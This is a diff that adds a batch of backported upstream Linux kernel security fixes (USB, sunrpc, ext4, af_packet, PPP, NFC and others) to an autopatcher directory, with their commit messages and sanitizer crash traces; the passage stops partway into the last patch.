missing descriptor sanity checks.patch b/recipes-kernel/linux/linux-bass/autopatcher/0607-a246b4d54770-media xirlinkcit add missing descriptor sanity checks.patch new file mode 100644 index 0000000..5092189 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0607-a246b4d54770-media xirlinkcit add missing descriptor sanity checks.patch @@ -0,0 +1,81 @@ +From a246b4d547708f33ff4d4b9a7a5dbac741dc89d8 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Fri, 3 Jan 2020 17:35:11 +0100 +Subject: media: xirlink_cit: add missing descriptor sanity checks + +Make sure to check that we have two alternate settings and at least one +endpoint before accessing the second altsetting structure and +dereferencing the endpoint arrays. + +This specifically avoids dereferencing NULL-pointers or corrupting +memory when a device does not have the expected descriptors. + +Note that the sanity check in cit_get_packet_size() is not redundant as +the driver is mixing looking up altsettings by index and by number, +which may not coincide. + +Fixes: 659fefa0eb17 ("V4L/DVB: gspca_xirlink_cit: Add support for camera with a bcd version of 0.01") +Fixes: 59f8b0bf3c12 ("V4L/DVB: gspca_xirlink_cit: support bandwidth changing for devices with 1 alt setting") +Cc: stable # 2.6.37 +Cc: Hans de Goede +Signed-off-by: Johan Hovold +Signed-off-by: Hans Verkuil +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/gspca/xirlink_cit.c | 18 +++++++++++++++++- + 1 file changed, 17 insertions(+), 1 deletion(-) + +diff --git a/drivers/media/usb/gspca/xirlink_cit.c b/drivers/media/usb/gspca/xirlink_cit.c +index 934a90bd78c2e..c579b100f066d 100644 +--- a/drivers/media/usb/gspca/xirlink_cit.c ++++ b/drivers/media/usb/gspca/xirlink_cit.c +@@ -1442,6 +1442,9 @@ static int cit_get_packet_size(struct gspca_dev *gspca_dev) + return -EIO; + } + ++ if (alt->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + return le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + } + +@@ -2626,6 +2629,7 @@ static int sd_start(struct gspca_dev *gspca_dev) + + static int sd_isoc_init(struct gspca_dev *gspca_dev) + { ++ struct usb_interface_cache *intfc; + struct usb_host_interface *alt; + int max_packet_size; + +@@ -2641,8 +2645,17 @@ static int sd_isoc_init(struct gspca_dev *gspca_dev) + break; + } + ++ intfc = gspca_dev->dev->actconfig->intf_cache[0]; ++ ++ if (intfc->num_altsetting < 2) ++ return -ENODEV; ++ ++ alt = &intfc->altsetting[1]; ++ ++ if (alt->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + /* Start isoc bandwidth "negotiation" at max isoc bandwidth */ +- alt = &gspca_dev->dev->actconfig->intf_cache[0]->altsetting[1]; + alt->endpoint[0].desc.wMaxPacketSize = cpu_to_le16(max_packet_size); + + return 0; +@@ -2665,6 +2678,9 @@ static int sd_isoc_nego(struct gspca_dev *gspca_dev) + break; + } + ++ /* ++ * Existence of altsetting and endpoint was verified in sd_isoc_init() ++ */ + alt = &gspca_dev->dev->actconfig->intf_cache[0]->altsetting[1]; + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + if (packet_size <= min_packet_size) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0608-d47a5dc2888f-sunrpc svcauthgssregisterpseudoflavor must reject duplicate.patch b/recipes-kernel/linux/linux-bass/autopatcher/0608-d47a5dc2888f-sunrpc svcauthgssregisterpseudoflavor must reject duplicate.patch new file mode 100644 index 0000000..121d90a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0608-d47a5dc2888f-sunrpc svcauthgssregisterpseudoflavor must reject duplicate.patch @@ -0,0 +1,46 @@ +From d47a5dc2888fd1b94adf1553068b8dad76cec96c Mon Sep 17 00:00:00 2001 +From: NeilBrown +Date: Fri, 22 May 2020 12:01:33 +1000 +Subject: sunrpc: svcauth_gss_register_pseudoflavor must reject duplicate + registrations. + +There is no valid case for supporting duplicate pseudoflavor +registrations. +Currently the silent acceptance of such registrations is hiding a bug. +The rpcsec_gss_krb5 module registers 2 flavours but does not unregister +them, so if you load, unload, reload the module, it will happily +continue to use the old registration which now has pointers to the +memory were the module was originally loaded. This could lead to +unexpected results. + +So disallow duplicate registrations. + +Link: https://bugzilla.kernel.org/show_bug.cgi?id=206651 +Cc: stable@vger.kernel.org (v2.6.12+) +Signed-off-by: NeilBrown +Signed-off-by: J. Bruce Fields +--- + net/sunrpc/auth_gss/svcauth_gss.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +diff --git a/net/sunrpc/auth_gss/svcauth_gss.c b/net/sunrpc/auth_gss/svcauth_gss.c +index 50d93c49ef1a..49bb346a6215 100644 +--- a/net/sunrpc/auth_gss/svcauth_gss.c ++++ b/net/sunrpc/auth_gss/svcauth_gss.c +@@ -826,9 +826,11 @@ svcauth_gss_register_pseudoflavor(u32 pseudoflavor, char * name) + new->h.flavour = &svcauthops_gss; + new->pseudoflavor = pseudoflavor; + +- stat = 0; + test = auth_domain_lookup(name, &new->h); +- if (test != &new->h) { /* Duplicate registration */ ++ if (test != &new->h) { ++ pr_warn("svc: duplicate registration of gss pseudo flavour %s.\n", ++ name); ++ stat = -EADDRINUSE; + auth_domain_put(test); + kfree(new->h.name); + goto out_free_dom; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0609-15753588bcd4-USB gadget fix illegal array access in binding with UDC.patch b/recipes-kernel/linux/linux-bass/autopatcher/0609-15753588bcd4-USB gadget fix illegal array access in binding with UDC.patch new file mode 100644 index 0000000..7f5875f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0609-15753588bcd4-USB gadget fix illegal array access in binding with UDC.patch @@ -0,0 +1,75 @@ +From 15753588bcd4bbffae1cca33c8ced5722477fe1f Mon Sep 17 00:00:00 2001 +From: Kyungtae Kim +Date: Sun, 10 May 2020 05:43:34 +0000 +Subject: USB: gadget: fix illegal array access in binding with UDC + +FuzzUSB (a variant of syzkaller) found an illegal array access +using an incorrect index while binding a gadget with UDC. + +Reference: https://www.spinics.net/lists/linux-usb/msg194331.html + +This bug occurs when a size variable used for a buffer +is misused to access its strcpy-ed buffer. +Given a buffer along with its size variable (taken from user input), +from which, a new buffer is created using kstrdup(). +Due to the original buffer containing 0 value in the middle, +the size of the kstrdup-ed buffer becomes smaller than that of the original. +So accessing the kstrdup-ed buffer with the same size variable +triggers memory access violation. + +The fix makes sure no zero value in the buffer, +by comparing the strlen() of the orignal buffer with the size variable, +so that the access to the kstrdup-ed buffer is safe. + +BUG: KASAN: slab-out-of-bounds in gadget_dev_desc_UDC_store+0x1ba/0x200 +drivers/usb/gadget/configfs.c:266 +Read of size 1 at addr ffff88806a55dd7e by task syz-executor.0/17208 + +CPU: 2 PID: 17208 Comm: syz-executor.0 Not tainted 5.6.8 #1 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 +Call Trace: + __dump_stack lib/dump_stack.c:77 [inline] + dump_stack+0xce/0x128 lib/dump_stack.c:118 + print_address_description.constprop.4+0x21/0x3c0 mm/kasan/report.c:374 + __kasan_report+0x131/0x1b0 mm/kasan/report.c:506 + kasan_report+0x12/0x20 mm/kasan/common.c:641 + __asan_report_load1_noabort+0x14/0x20 mm/kasan/generic_report.c:132 + gadget_dev_desc_UDC_store+0x1ba/0x200 drivers/usb/gadget/configfs.c:266 + flush_write_buffer fs/configfs/file.c:251 [inline] + configfs_write_file+0x2f1/0x4c0 fs/configfs/file.c:283 + __vfs_write+0x85/0x110 fs/read_write.c:494 + vfs_write+0x1cd/0x510 fs/read_write.c:558 + ksys_write+0x18a/0x220 fs/read_write.c:611 + __do_sys_write fs/read_write.c:623 [inline] + __se_sys_write fs/read_write.c:620 [inline] + __x64_sys_write+0x73/0xb0 fs/read_write.c:620 + do_syscall_64+0x9e/0x510 arch/x86/entry/common.c:294 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + +Signed-off-by: Kyungtae Kim +Reported-and-tested-by: Kyungtae Kim +Cc: Felipe Balbi +Cc: stable +Link: https://lore.kernel.org/r/20200510054326.GA19198@pizza01 +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/gadget/configfs.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/usb/gadget/configfs.c b/drivers/usb/gadget/configfs.c +index 32b637e3e1fa2..6a9aa4413d64b 100644 +--- a/drivers/usb/gadget/configfs.c ++++ b/drivers/usb/gadget/configfs.c +@@ -260,6 +260,9 @@ static ssize_t gadget_dev_desc_UDC_store(struct config_item *item, + char *name; + int ret; + ++ if (strlen(page) < len) ++ return -EOVERFLOW; ++ + name = kstrdup(page, GFP_KERNEL); + if (!name) + return -ENOMEM; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0610-b86dab054059-vt keyboard avoid signed integer overflow in kascii.patch b/recipes-kernel/linux/linux-bass/autopatcher/0610-b86dab054059-vt keyboard avoid signed integer overflow in kascii.patch new file mode 100644 index 0000000..46b14d9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0610-b86dab054059-vt keyboard avoid signed integer overflow in kascii.patch @@ -0,0 +1,101 @@ +From b86dab054059b970111b5516ae548efaae5b3aae Mon Sep 17 00:00:00 2001 +From: Dmitry Torokhov +Date: Mon, 25 May 2020 16:27:40 -0700 +Subject: vt: keyboard: avoid signed integer overflow in k_ascii + +When k_ascii is invoked several times in a row there is a potential for +signed integer overflow: + +UBSAN: Undefined behaviour in drivers/tty/vt/keyboard.c:888:19 signed integer overflow: +10 * 1111111111 cannot be represented in type 'int' +CPU: 0 PID: 0 Comm: swapper/0 Not tainted 5.6.11 #1 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 +Call Trace: + + __dump_stack lib/dump_stack.c:77 [inline] + dump_stack+0xce/0x128 lib/dump_stack.c:118 + ubsan_epilogue+0xe/0x30 lib/ubsan.c:154 + handle_overflow+0xdc/0xf0 lib/ubsan.c:184 + __ubsan_handle_mul_overflow+0x2a/0x40 lib/ubsan.c:205 + k_ascii+0xbf/0xd0 drivers/tty/vt/keyboard.c:888 + kbd_keycode drivers/tty/vt/keyboard.c:1477 [inline] + kbd_event+0x888/0x3be0 drivers/tty/vt/keyboard.c:1495 + +While it can be worked around by using check_mul_overflow()/ +check_add_overflow(), it is better to introduce a separate flag to +signal that number pad is being used to compose a symbol, and +change type of the accumulator from signed to unsigned, thus +avoiding undefined behavior when it overflows. + +Reported-by: Kyungtae Kim +Signed-off-by: Dmitry Torokhov +Cc: stable +Link: https://lore.kernel.org/r/20200525232740.GA262061@dtor-ws +Signed-off-by: Greg Kroah-Hartman +--- + drivers/tty/vt/keyboard.c | 26 ++++++++++++++++---------- + 1 file changed, 16 insertions(+), 10 deletions(-) + +diff --git a/drivers/tty/vt/keyboard.c b/drivers/tty/vt/keyboard.c +index 15d33fa0c925d..568b2171f3359 100644 +--- a/drivers/tty/vt/keyboard.c ++++ b/drivers/tty/vt/keyboard.c +@@ -127,7 +127,11 @@ static DEFINE_SPINLOCK(func_buf_lock); /* guard 'func_buf' and friends */ + static unsigned long key_down[BITS_TO_LONGS(KEY_CNT)]; /* keyboard key bitmap */ + static unsigned char shift_down[NR_SHIFT]; /* shift state counters.. */ + static bool dead_key_next; +-static int npadch = -1; /* -1 or number assembled on pad */ ++ ++/* Handles a number being assembled on the number pad */ ++static bool npadch_active; ++static unsigned int npadch_value; ++ + static unsigned int diacr; + static char rep; /* flag telling character repeat */ + +@@ -845,12 +849,12 @@ static void k_shift(struct vc_data *vc, unsigned char value, char up_flag) + shift_state &= ~(1 << value); + + /* kludge */ +- if (up_flag && shift_state != old_state && npadch != -1) { ++ if (up_flag && shift_state != old_state && npadch_active) { + if (kbd->kbdmode == VC_UNICODE) +- to_utf8(vc, npadch); ++ to_utf8(vc, npadch_value); + else +- put_queue(vc, npadch & 0xff); +- npadch = -1; ++ put_queue(vc, npadch_value & 0xff); ++ npadch_active = false; + } + } + +@@ -868,7 +872,7 @@ static void k_meta(struct vc_data *vc, unsigned char value, char up_flag) + + static void k_ascii(struct vc_data *vc, unsigned char value, char up_flag) + { +- int base; ++ unsigned int base; + + if (up_flag) + return; +@@ -882,10 +886,12 @@ static void k_ascii(struct vc_data *vc, unsigned char value, char up_flag) + base = 16; + } + +- if (npadch == -1) +- npadch = value; +- else +- npadch = npadch * base + value; ++ if (!npadch_active) { ++ npadch_value = 0; ++ npadch_active = true; ++ } ++ ++ npadch_value = npadch_value * base + value; + } + + static void k_lock(struct vc_data *vc, unsigned char value, char up_flag) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0611-5872331b3d91-ext4 fix potential negative array index in dosplit.patch b/recipes-kernel/linux/linux-bass/autopatcher/0611-5872331b3d91-ext4 fix potential negative array index in dosplit.patch new file mode 100644 index 0000000..7d09a96 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0611-5872331b3d91-ext4 fix potential negative array index in dosplit.patch @@ -0,0 +1,63 @@ +From 5872331b3d91820e14716632ebb56b1399b34fe1 Mon Sep 17 00:00:00 2001 +From: Eric Sandeen +Date: Wed, 17 Jun 2020 14:19:04 -0500 +Subject: ext4: fix potential negative array index in do_split() + +If for any reason a directory passed to do_split() does not have enough +active entries to exceed half the size of the block, we can end up +iterating over all "count" entries without finding a split point. + +In this case, count == move, and split will be zero, and we will +attempt a negative index into map[]. + +Guard against this by detecting this case, and falling back to +split-to-half-of-count instead; in this case we will still have +plenty of space (> half blocksize) in each split block. + +Fixes: ef2b02d3e617 ("ext34: ensure do_split leaves enough free space in both blocks") +Signed-off-by: Eric Sandeen +Reviewed-by: Andreas Dilger +Reviewed-by: Jan Kara +Link: https://lore.kernel.org/r/f53e246b-647c-64bb-16ec-135383c70ad7@redhat.com +Signed-off-by: Theodore Ts'o +--- + fs/ext4/namei.c | 16 +++++++++++++--- + 1 file changed, 13 insertions(+), 3 deletions(-) + +diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c +index 56738b538ddf4..ef606301a1065 100644 +--- a/fs/ext4/namei.c ++++ b/fs/ext4/namei.c +@@ -1858,7 +1858,7 @@ static struct ext4_dir_entry_2 *do_split(handle_t *handle, struct inode *dir, + blocksize, hinfo, map); + map -= count; + dx_sort_map(map, count); +- /* Split the existing block in the middle, size-wise */ ++ /* Ensure that neither split block is over half full */ + size = 0; + move = 0; + for (i = count-1; i >= 0; i--) { +@@ -1868,8 +1868,18 @@ static struct ext4_dir_entry_2 *do_split(handle_t *handle, struct inode *dir, + size += map[i].size; + move++; + } +- /* map index at which we will split */ +- split = count - move; ++ /* ++ * map index at which we will split ++ * ++ * If the sum of active entries didn't exceed half the block size, just ++ * split it in half by count; each resulting block will have at least ++ * half the space free. ++ */ ++ if (i > 0) ++ split = count - move; ++ else ++ split = count/2; ++ + hash2 = map[split].hash; + continued = hash2 == map[split - 1].hash; + dxtrace(printk(KERN_INFO "Split block %lu at %x, %i/%i\n", +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0612-97d7817dcebb-PATCH netpacket fix overflow in tpacketrcv.patch b/recipes-kernel/linux/linux-bass/autopatcher/0612-97d7817dcebb-PATCH netpacket fix overflow in tpacketrcv.patch new file mode 100644 index 0000000..86b9f68 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0612-97d7817dcebb-PATCH netpacket fix overflow in tpacketrcv.patch @@ -0,0 +1,63 @@ +From 97d7817dcebb5857a7b54af40b7edf4134433f13 Mon Sep 17 00:00:00 2001 +From: Or Cohen +Date: Thu, 3 Sep 2020 21:05:28 -0700 +Subject: [PATCH] net/packet: fix overflow in tpacket_rcv + +commit acf69c946233259ab4d64f8869d4037a198c7f06 upstream. + +Using tp_reserve to calculate netoff can overflow as +tp_reserve is unsigned int and netoff is unsigned short. + +This may lead to macoff receving a smaller value then +sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr +is set, an out-of-bounds write will occur when +calling virtio_net_hdr_from_skb. + +The bug is fixed by converting netoff to unsigned int +and checking if it exceeds USHRT_MAX. + +This addresses CVE-2020-14386 + +Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt") +Signed-off-by: Or Cohen +Signed-off-by: Eric Dumazet +Signed-off-by: Linus Torvalds +[ snu: backported to pre-5.3, changed tp_drops counting/locking ] +Signed-off-by: Stefan Nuernberger +CC: David Woodhouse +CC: Amit Shah +CC: stable@vger.kernel.org +Signed-off-by: Greg Kroah-Hartman + +Change-Id: Id70a19d5550c27f8527f95b2a838d53e3bb73ffb +--- + net/packet/af_packet.c | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c +index ebc15b0ae92..e5239b7fc5f 100644 +--- a/net/packet/af_packet.c ++++ b/net/packet/af_packet.c +@@ -1753,7 +1753,8 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev, + int skb_len = skb->len; + unsigned int snaplen, res; + unsigned long status = TP_STATUS_USER; +- unsigned short macoff, netoff, hdrlen; ++ unsigned short macoff, hdrlen; ++ unsigned int netoff; + struct sk_buff *copy_skb = NULL; + struct timespec ts; + __u32 ts_status; +@@ -1800,6 +1801,12 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev, + po->tp_reserve; + macoff = netoff - maclen; + } ++ if (netoff > USHRT_MAX) { ++ spin_lock(&sk->sk_receive_queue.lock); ++ po->stats.stats1.tp_drops++; ++ spin_unlock(&sk->sk_receive_queue.lock); ++ goto drop_n_restore; ++ } + if (po->tp_version <= TPACKET_V2) { + if (macoff + snaplen > po->rx_ring.frame_size) { + if (po->copy_thresh && diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0613-28ebeb8db770-usb usbtest fix missing kfreedevbuf in usbtestdisconnect.patch b/recipes-kernel/linux/linux-bass/autopatcher/0613-28ebeb8db770-usb usbtest fix missing kfreedevbuf in usbtestdisconnect.patch new file mode 100644 index 0000000..a348444 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0613-28ebeb8db770-usb usbtest fix missing kfreedevbuf in usbtestdisconnect.patch @@ -0,0 +1,64 @@ +From 28ebeb8db77035e058a510ce9bd17c2b9a009dba Mon Sep 17 00:00:00 2001 +From: Zqiang +Date: Fri, 12 Jun 2020 11:52:10 +0800 +Subject: usb: usbtest: fix missing kfree(dev->buf) in usbtest_disconnect + +BUG: memory leak +unreferenced object 0xffff888055046e00 (size 256): + comm "kworker/2:9", pid 2570, jiffies 4294942129 (age 1095.500s) + hex dump (first 32 bytes): + 00 70 04 55 80 88 ff ff 18 bb 5a 81 ff ff ff ff .p.U......Z..... + f5 96 78 81 ff ff ff ff 37 de 8e 81 ff ff ff ff ..x.....7....... + backtrace: + [<00000000d121dccf>] kmemleak_alloc_recursive +include/linux/kmemleak.h:43 [inline] + [<00000000d121dccf>] slab_post_alloc_hook mm/slab.h:586 [inline] + [<00000000d121dccf>] slab_alloc_node mm/slub.c:2786 [inline] + [<00000000d121dccf>] slab_alloc mm/slub.c:2794 [inline] + [<00000000d121dccf>] kmem_cache_alloc_trace+0x15e/0x2d0 mm/slub.c:2811 + [<000000005c3c3381>] kmalloc include/linux/slab.h:555 [inline] + [<000000005c3c3381>] usbtest_probe+0x286/0x19d0 +drivers/usb/misc/usbtest.c:2790 + [<000000001cec6910>] usb_probe_interface+0x2bd/0x870 +drivers/usb/core/driver.c:361 + [<000000007806c118>] really_probe+0x48d/0x8f0 drivers/base/dd.c:551 + [<00000000a3308c3e>] driver_probe_device+0xfc/0x2a0 drivers/base/dd.c:724 + [<000000003ef66004>] __device_attach_driver+0x1b6/0x240 +drivers/base/dd.c:831 + [<00000000eee53e97>] bus_for_each_drv+0x14e/0x1e0 drivers/base/bus.c:431 + [<00000000bb0648d0>] __device_attach+0x1f9/0x350 drivers/base/dd.c:897 + [<00000000838b324a>] device_initial_probe+0x1a/0x20 drivers/base/dd.c:944 + [<0000000030d501c1>] bus_probe_device+0x1e1/0x280 drivers/base/bus.c:491 + [<000000005bd7adef>] device_add+0x131d/0x1c40 drivers/base/core.c:2504 + [<00000000a0937814>] usb_set_configuration+0xe84/0x1ab0 +drivers/usb/core/message.c:2030 + [<00000000e3934741>] generic_probe+0x6a/0xe0 drivers/usb/core/generic.c:210 + [<0000000098ade0f1>] usb_probe_device+0x90/0xd0 +drivers/usb/core/driver.c:266 + [<000000007806c118>] really_probe+0x48d/0x8f0 drivers/base/dd.c:551 + [<00000000a3308c3e>] driver_probe_device+0xfc/0x2a0 drivers/base/dd.c:724 + +Acked-by: Alan Stern +Reported-by: Kyungtae Kim +Signed-off-by: Zqiang +Link: https://lore.kernel.org/r/20200612035210.20494-1-qiang.zhang@windriver.com +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/usbtest.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/usb/misc/usbtest.c b/drivers/usb/misc/usbtest.c +index 98ada1a3425c6..bae88893ee8e3 100644 +--- a/drivers/usb/misc/usbtest.c ++++ b/drivers/usb/misc/usbtest.c +@@ -2873,6 +2873,7 @@ static void usbtest_disconnect(struct usb_interface *intf) + + usb_set_intfdata(intf, NULL); + dev_dbg(&intf->dev, "disconnect\n"); ++ kfree(dev->buf); + kfree(dev); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0614-66d42ed8b25b-hdlcppp add range checks in pppcpparsecr.patch b/recipes-kernel/linux/linux-bass/autopatcher/0614-66d42ed8b25b-hdlcppp add range checks in pppcpparsecr.patch new file mode 100644 index 0000000..230b907 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0614-66d42ed8b25b-hdlcppp add range checks in pppcpparsecr.patch @@ -0,0 +1,80 @@ +From 66d42ed8b25b64eb63111a2b8582c5afc8bf1105 Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Wed, 9 Sep 2020 12:46:48 +0300 +Subject: hdlc_ppp: add range checks in ppp_cp_parse_cr() + +There are a couple bugs here: +1) If opt[1] is zero then this results in a forever loop. If the value + is less than 2 then it is invalid. +2) It assumes that "len" is more than sizeof(valid_accm) or 6 which can + result in memory corruption. + +In the case of LCP_OPTION_ACCM, then we should check "opt[1]" instead +of "len" because, if "opt[1]" is less than sizeof(valid_accm) then +"nak_len" gets out of sync and it can lead to memory corruption in the +next iterations through the loop. In case of LCP_OPTION_MAGIC, the +only valid value for opt[1] is 6, but the code is trying to log invalid +data so we should only discard the data when "len" is less than 6 +because that leads to a read overflow. + +Reported-by: ChenNan Of Chaitin Security Research Lab +Fixes: e022c2f07ae5 ("WAN: new synchronous PPP implementation for generic HDLC.") +Signed-off-by: Dan Carpenter +Reviewed-by: Eric Dumazet +Reviewed-by: Greg Kroah-Hartman +Signed-off-by: David S. Miller +--- + drivers/net/wan/hdlc_ppp.c | 16 +++++++++++----- + 1 file changed, 11 insertions(+), 5 deletions(-) + +diff --git a/drivers/net/wan/hdlc_ppp.c b/drivers/net/wan/hdlc_ppp.c +index 48ced3912576c..16f33d1ffbfb9 100644 +--- a/drivers/net/wan/hdlc_ppp.c ++++ b/drivers/net/wan/hdlc_ppp.c +@@ -383,11 +383,8 @@ static void ppp_cp_parse_cr(struct net_device *dev, u16 pid, u8 id, + } + + for (opt = data; len; len -= opt[1], opt += opt[1]) { +- if (len < 2 || len < opt[1]) { +- dev->stats.rx_errors++; +- kfree(out); +- return; /* bad packet, drop silently */ +- } ++ if (len < 2 || opt[1] < 2 || len < opt[1]) ++ goto err_out; + + if (pid == PID_LCP) + switch (opt[0]) { +@@ -395,6 +392,8 @@ static void ppp_cp_parse_cr(struct net_device *dev, u16 pid, u8 id, + continue; /* MRU always OK and > 1500 bytes? */ + + case LCP_OPTION_ACCM: /* async control character map */ ++ if (opt[1] < sizeof(valid_accm)) ++ goto err_out; + if (!memcmp(opt, valid_accm, + sizeof(valid_accm))) + continue; +@@ -406,6 +405,8 @@ static void ppp_cp_parse_cr(struct net_device *dev, u16 pid, u8 id, + } + break; + case LCP_OPTION_MAGIC: ++ if (len < 6) ++ goto err_out; + if (opt[1] != 6 || (!opt[2] && !opt[3] && + !opt[4] && !opt[5])) + break; /* reject invalid magic number */ +@@ -424,6 +425,11 @@ static void ppp_cp_parse_cr(struct net_device *dev, u16 pid, u8 id, + ppp_cp_event(dev, pid, RCR_GOOD, CP_CONF_ACK, id, req_len, data); + + kfree(out); ++ return; ++ ++err_out: ++ dev->stats.rx_errors++; ++ kfree(out); + } + + static int ppp_rx(struct sk_buff *skb) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0615-77e70d351db7-Input sunkbd avoid useafterfree in teardown paths.patch b/recipes-kernel/linux/linux-bass/autopatcher/0615-77e70d351db7-Input sunkbd avoid useafterfree in teardown paths.patch new file mode 100644 index 0000000..d611554 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0615-77e70d351db7-Input sunkbd avoid useafterfree in teardown paths.patch @@ -0,0 +1,93 @@ +From 77e70d351db7de07a46ac49b87a6c3c7a60fca7e Mon Sep 17 00:00:00 2001 +From: Dmitry Torokhov +Date: Mon, 26 Oct 2020 13:36:17 -0700 +Subject: Input: sunkbd - avoid use-after-free in teardown paths + +We need to make sure we cancel the reinit work before we tear down the +driver structures. + +Reported-by: Bodong Zhao +Tested-by: Bodong Zhao +Cc: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +--- + drivers/input/keyboard/sunkbd.c | 41 +++++++++++++++++++++++++++++++++-------- + 1 file changed, 33 insertions(+), 8 deletions(-) + +diff --git a/drivers/input/keyboard/sunkbd.c b/drivers/input/keyboard/sunkbd.c +index 27126e621eb60..d450f11b98a70 100644 +--- a/drivers/input/keyboard/sunkbd.c ++++ b/drivers/input/keyboard/sunkbd.c +@@ -99,7 +99,8 @@ static irqreturn_t sunkbd_interrupt(struct serio *serio, + switch (data) { + + case SUNKBD_RET_RESET: +- schedule_work(&sunkbd->tq); ++ if (sunkbd->enabled) ++ schedule_work(&sunkbd->tq); + sunkbd->reset = -1; + break; + +@@ -200,16 +201,12 @@ static int sunkbd_initialize(struct sunkbd *sunkbd) + } + + /* +- * sunkbd_reinit() sets leds and beeps to a state the computer remembers they +- * were in. ++ * sunkbd_set_leds_beeps() sets leds and beeps to a state the computer remembers ++ * they were in. + */ + +-static void sunkbd_reinit(struct work_struct *work) ++static void sunkbd_set_leds_beeps(struct sunkbd *sunkbd) + { +- struct sunkbd *sunkbd = container_of(work, struct sunkbd, tq); +- +- wait_event_interruptible_timeout(sunkbd->wait, sunkbd->reset >= 0, HZ); +- + serio_write(sunkbd->serio, SUNKBD_CMD_SETLED); + serio_write(sunkbd->serio, + (!!test_bit(LED_CAPSL, sunkbd->dev->led) << 3) | +@@ -222,11 +219,39 @@ static void sunkbd_reinit(struct work_struct *work) + SUNKBD_CMD_BELLOFF - !!test_bit(SND_BELL, sunkbd->dev->snd)); + } + ++ ++/* ++ * sunkbd_reinit() wait for the keyboard reset to complete and restores state ++ * of leds and beeps. ++ */ ++ ++static void sunkbd_reinit(struct work_struct *work) ++{ ++ struct sunkbd *sunkbd = container_of(work, struct sunkbd, tq); ++ ++ /* ++ * It is OK that we check sunkbd->enabled without pausing serio, ++ * as we only want to catch true->false transition that will ++ * happen once and we will be woken up for it. ++ */ ++ wait_event_interruptible_timeout(sunkbd->wait, ++ sunkbd->reset >= 0 || !sunkbd->enabled, ++ HZ); ++ ++ if (sunkbd->reset >= 0 && sunkbd->enabled) ++ sunkbd_set_leds_beeps(sunkbd); ++} ++ + static void sunkbd_enable(struct sunkbd *sunkbd, bool enable) + { + serio_pause_rx(sunkbd->serio); + sunkbd->enabled = enable; + serio_continue_rx(sunkbd->serio); ++ ++ if (!enable) { ++ wake_up_interruptible(&sunkbd->wait); ++ cancel_work_sync(&sunkbd->tq); ++ } + } + + /* +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0616-4b5db93e7f2a-nfc Avoid endless loops caused by repeated llcpsockconnect.patch b/recipes-kernel/linux/linux-bass/autopatcher/0616-4b5db93e7f2a-nfc Avoid endless loops caused by repeated llcpsockconnect.patch new file mode 100644 index 0000000..d0702db --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0616-4b5db93e7f2a-nfc Avoid endless loops caused by repeated llcpsockconnect.patch @@ -0,0 +1,44 @@ +From 4b5db93e7f2afbdfe3b78e37879a85290187e6f1 Mon Sep 17 00:00:00 2001 +From: Xiaoming Ni +Date: Thu, 25 Mar 2021 11:51:13 +0800 +Subject: nfc: Avoid endless loops caused by repeated llcp_sock_connect() +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +When sock_wait_state() returns -EINPROGRESS, "sk->sk_state" is + LLCP_CONNECTING. In this case, llcp_sock_connect() is repeatedly invoked, + nfc_llcp_sock_link() will add sk to local->connecting_sockets twice. + sk->sk_node->next will point to itself, that will make an endless loop + and hang-up the system. +To fix it, check whether sk->sk_state is LLCP_CONNECTING in + llcp_sock_connect() to avoid repeated invoking. + +Fixes: b4011239a08e ("NFC: llcp: Fix non blocking sockets connections") +Reported-by: "kiyin(尹亮)" +Link: https://www.openwall.com/lists/oss-security/2020/11/01/1 +Cc: #v3.11 +Signed-off-by: Xiaoming Ni +Signed-off-by: David S. Miller +--- + net/nfc/llcp_sock.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/net/nfc/llcp_sock.c 